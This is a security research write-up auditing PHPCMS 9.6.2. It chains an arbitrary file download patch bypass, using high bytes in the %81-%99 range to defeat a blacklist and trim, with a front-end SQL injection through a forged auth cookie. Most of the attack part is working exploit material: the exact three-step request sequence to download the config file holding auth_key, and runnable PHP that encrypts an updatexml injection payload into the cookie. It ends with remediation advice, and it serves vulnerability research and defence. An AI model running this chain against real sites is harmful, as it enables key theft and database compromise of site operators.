Security Research

PHPCMS 9.6.2 Audit: Arbitrary File Download Bypass and Front-End SQL Injection

#Vulnerability#Security
Copper-orange fractured chain links and a keyhole leaking light over a near-black teal-blue background, symbolizing the chained attack of PHPCMS arbitrary file download bypass and SQL injection piercing

Background

Around 2017, PHPCMS was one of the dominant CMS choices for Chinese government, education and corporate sites, and the 9.6.x line kept surfacing arbitrary file download and SQL injection issues. During a recent audit I noticed PHPCMS had pushed an update, but the vulnerability details were essentially kept private — the only way to understand the exploit was to audit it yourself. The usual approach is to diff old and new versions to locate where the previous flaw lived. So I pulled the source for phpcms 9.6.3, 9.6.1 and 9.6.2 and compared them, which turned up both an arbitrary file download patch bypass and a front-end SQL injection in 9.6.2. This post is a record of that work — feedback welcome.

Arbitrary File Download Patch Bypass

Diffing 9.6.2 against 9.6.1 for the arbitrary file download fix, the change is minimal: the check moved from line 109 of phpcms_9.6.1_UTF8/phpcms/modules/content/down.php to line 126 of phpcms_v9.6.2_UTF8/phpcms/modules/content/down.php. It now performs a blacklist check before the download — but a blacklist is something you can slip past.

As shown below, the regex can be bypassed directly. The question is which characters both bypass the pattern and still resolve to a real PHP file on disk. The answer is to use whitespace-class characters.

Arbitrary file download regex bypass regex101 test: blacklist regex cannot match system.ph%81p with embedded high bytes

The code uses trim to strip leading and trailing whitespace, but trim has a security gap. Characters in the %81-%99 range are not removed by trim, and on Windows they still resolve to the corresponding file — see below.

%81-%99 bytes bypassing trim test.php demo: after urldecode, \aaa.php$1 resolves to system.php

So by using a byte from %81-%99 to bypass the patch, you can perform an arbitrary file download — but you first need to forge a valid a_k value. The exploit chain is the same as the earlier phpcms 9.6.1 issue, so I won’t redo the code analysis. The operational steps are:

Step 1: Issue the following request to obtain YDVIB_siteid (the YDVIB prefix is install-generated and may differ across sites).

[GET] http://127.0.0.1/code/phpcms_v9.6.2_UTF8/index.php?m=wap&c=index&a=init&siteid=1

Response:

[cookie] YDVIB_siteid: 75d1XCnlbSh-1zi2xZ-gearAbSsmOcXypuSKXZst

Step 2: Set the userid_flash parameter in the POST body to the YDVIB_siteid value from step 1, then issue:

[GET] http://127.0.0.1/code/phpcms_v9.6.2_UTF8/index.php?m=attachment&c=attachments&a=swfupload_json&src=a%26i=1%26m=1%26catid=1%26f=./caches/configs/system.ph%*25*3ep%2581%26modelid=1%26d=1&aid=1
[POST DATA] userid_flash=75d1XCnlbSh-1zi2xZ-gearAbSsmOcXypuSKXZst

Response:

[cookie] YDVIB_att_json: ea6fUlmiupVPoK2udMAztI7dpqUURRW1plemEGmRhGPocAvwWbcMk3BARFHzxLI4NJrV1IJQ2PaHeec790iDdhRJ9dJbhEKamgM55SwKR-F3fFmmWDOVuHnyiWg9kyMzQ2l9D_cRPQmM7P9e7ZYrESNQwjMOytrFTIhY4SFmK2Vjc3GS3g

Step 3: Set the a_k parameter in the GET request to the YDVIB_att_json value from step 2, then issue:

[get] http://127.0.0.1/code/phpcms_v9.6.2_UTF8/index.php?m=content&c=down&a=init&a_k=41f4VsAhLvN8-4L1ntgSsuga4BrvYA5zcDo2bjiYB7RI98Qzj5D5k8dqqBfo7cUNwF3TGhz1SH-vPs3lIIQJYwHeF_u2b3QVfD2HIO3Gay68TAtz2rqYhX8XIeznWrTtOI24418KZUoTEAfnY4kZNtIajW-bqHRV1djqmEc1hSAwkIYWA9CPrw

Response:

http://127.0.0.1/code/phpcms_v9.6.2_UTF8/index.php?m=content&c=down&a=download&a_k=7e9d9SFk0jOteAemg-j7IVn6Ph1JFU9FEkyDo9xeasNJDPgZsOhusc39D4KiHzydJwt2B4iLuu-l9w03UV47obM9nsnjcJxi2jbawvqfZWcY9PeL3j0MgKxAvgXL4-dbf8gGG6_EJXIOA2p9Jkl9QcM

Finally, click the download button to fire that request and you can download /caches/configs/system.php to recover auth_key. Once auth_key leaks, the entire sys_auth crypto scheme is effectively public — which is the precondition for the SQL injection in the next section.

Front-End SQL Injection

In phpcms/modules/member/classes/foreground.class.php, lines 31-38:

list($userid, $password) = explode("\t", sys_auth($phpcms_auth, 'DECODE', $auth_key));

The decrypted $userid is passed straight into the get_one database method, causing SQL injection.

Front-end SQL injection code location

Exploiting this requires three helpers: sys_auth in phpcms/libs/functions/global.func.php, get_cookie in phpcms/libs/classes/param.class.php, and get_auth_key in phpcms/libs/functions/global.func.php, to encrypt and decrypt the payload.

Following into get_cookie (lines 107-116 of param.class.php), it calls sys_auth to decrypt — without supplying a key.

Inside get_cookie: sys_auth(‘DECODE’) called with no key

Following into sys_auth, when no $key is given it falls back to the auth_key stored in /caches/configs/system.php.

caches/configs/system.php holds auth_key = ‘6GeIdVtMAxhgFYu5vCp1’

Following into get_auth_key, when $prefix == 'login' it concatenates auth_key with the client request IP and hashes the result with MD5.

get_auth_key implementation: login prefix MD5s auth_key with client IP

The full flow comes out as:

Decryption: get_cookie('auth') returns $phpcms_auth; get_auth_key('login') returns $auth_key; then sys_auth($phpcms_auth, 'DECODE', $auth_key).

In plain terms: sys_auth first decrypts the auth-named cookie value with the global auth_key to get an intermediate value, then derives a new key by MD5-hashing auth_key concatenated with the client IP, and finally decrypts the intermediate value with that new key to recover the plaintext.

Encryption is the reverse: derive the new key from md5(auth_key . client_ip), encrypt the plaintext with it to get the intermediate ciphertext, then encrypt that intermediate with the global auth_key to produce the final cookie value (the value of whichever cookie field name contains auth).

Below is the encrypt/decrypt code lifted from the various files, lightly modified to run locally for payload crafting:

<?php
function sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0, $auth_key='7G6idVtMAxhgFVu5vGp1') {
    $ckey_length = 4;
    $key = md5($key != '' ? $key : $auth_key);
    $keya = md5(substr($key, 0, 16));
    $keyb = md5(substr($key, 16, 16));
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length) : substr(md5(microtime()), -$ckey_length)) : '';
    $cryptkey = $keya.md5($keya.$keyc);
    $key_length = strlen($cryptkey);
    $string = $operation == 'DECODE' ? base64_decode(strtr(substr($string, $ckey_length), '-_', '+/')) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
    $string_length = strlen($string);
    $result = '';
    $box = range(0, 255);
    $rndkey = array();
    for($i = 0; $i <= 255; $i++) {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }
    for($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp;
    }
    for($a = $j = $i = 0; $i < $string_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp;
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    }
    if($operation == 'DECODE') {
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
            return substr($result, 26);
        } else { return ''; }
    } else {
        return $keyc.rtrim(strtr(base64_encode($result), '+/', '-_'), '=');
    }
}

function get_auth_key($prefix, $suffix="", $ip='127.0.0.1', $auth_key='7G6idVtMAxhgFVu5vGp1') {
    if($prefix=='login'){
        $pc_auth_key = md5($auth_key.$ip);
    } else if($prefix=='email'){
        $pc_auth_key = md5($auth_key);
    } else {
        $pc_auth_key = md5($auth_key.$suffix);
    }
    $authkey = md5($prefix.$pc_auth_key);
    return $authkey;
}

// Decryption: outer auth_key layer first, then inner login-derived key
$encryption_str = '6fc7TB1Y1nIRK5HunMc5HAUw5WkBLLuQGBiOISDhJM4d8N8WHHOvqMaUSyWrZdVdH046oGv_e_Ir6Q157UV-yT5Aksuc_h_4RfwZqsEwDHfQckv4SReOiYFxm083X7Tydcw-nUy8l3nP-ouUGl59sN4';
$step1 = sys_auth($encryption_str, 'DECODE');
$auth_key = get_auth_key('login');
echo 'decryption_step2 result: '.sys_auth($step1, 'DECODE', $auth_key)."\n";

// Encryption: inner login-derived key first, then outer auth_key
$clear_str = "1'or updatexml(1,concat(0x7e,(select user()),0x7e),1)'1 f867fef04bd76d95abe01300951ca336";
$encrypted = sys_auth(sys_auth($clear_str, 'ENCODE', $auth_key), 'ENCODE');
echo 'encryption result: '.$encrypted;

Encrypt/decrypt result

Run this to encrypt or decrypt: decryption_step2 result is the final plaintext of the payload, and encryption result is the final ciphertext. The end result looks like the screenshot below — the YDVIB_auth cookie parameter (the prefix is install-generated and may differ; check the config file). The easiest way to find the vulnerable parameter is to register a normal user and look at which xxx_auth cookie field the server sets.

Front-end SQL injection PoC

Fix and Impact

The two flaws in PHPCMS 9.6.2 are essentially “incomplete patch” stacked on “key reuse”: the file download bypass lands auth_key, and the front-end SQL injection trusts auth_key as the decryption root — chain them together and you get a full path from anonymous visitor to database dump.

From a generic defense standpoint, arbitrary file download has exactly one real fix: normalize any user-controlled path through realpath and validate it against a whitelist — never a regex blacklist. trim is not a security filter; PHP’s string functions behave unpredictably under multibyte input, so any file name or path coming from the user should be canonicalized before comparison. As for the SQL injection, intval only plugs this one spot — the proper fix is full parameterized queries, though retrofitting a codebase from the PHPCMS era is enormously costly.

Final Thoughts

The arbitrary file download patch in PHPCMS 9.6.2 can be bypassed, letting you download the config file and recover the key, which in turn enables SQL injection. The key unlocks plenty of other operations too — not covered here. If you have good examples or writeups, I’d love to compare notes.

Looking back at this chain, the thing worth remembering isn’t any single payload — it’s the patch-bypass-re-patch rhythm: 9.6.1 half-patched it, 9.6.2 got bypassed, 9.6.3 finally closed it properly. That’s where the value of security auditing lives: don’t trust the patch notes, trace the code yourself, diff the versions, and you’ll often find the next seam hiding beneath the “fixed” surface. Stay vigilant out there.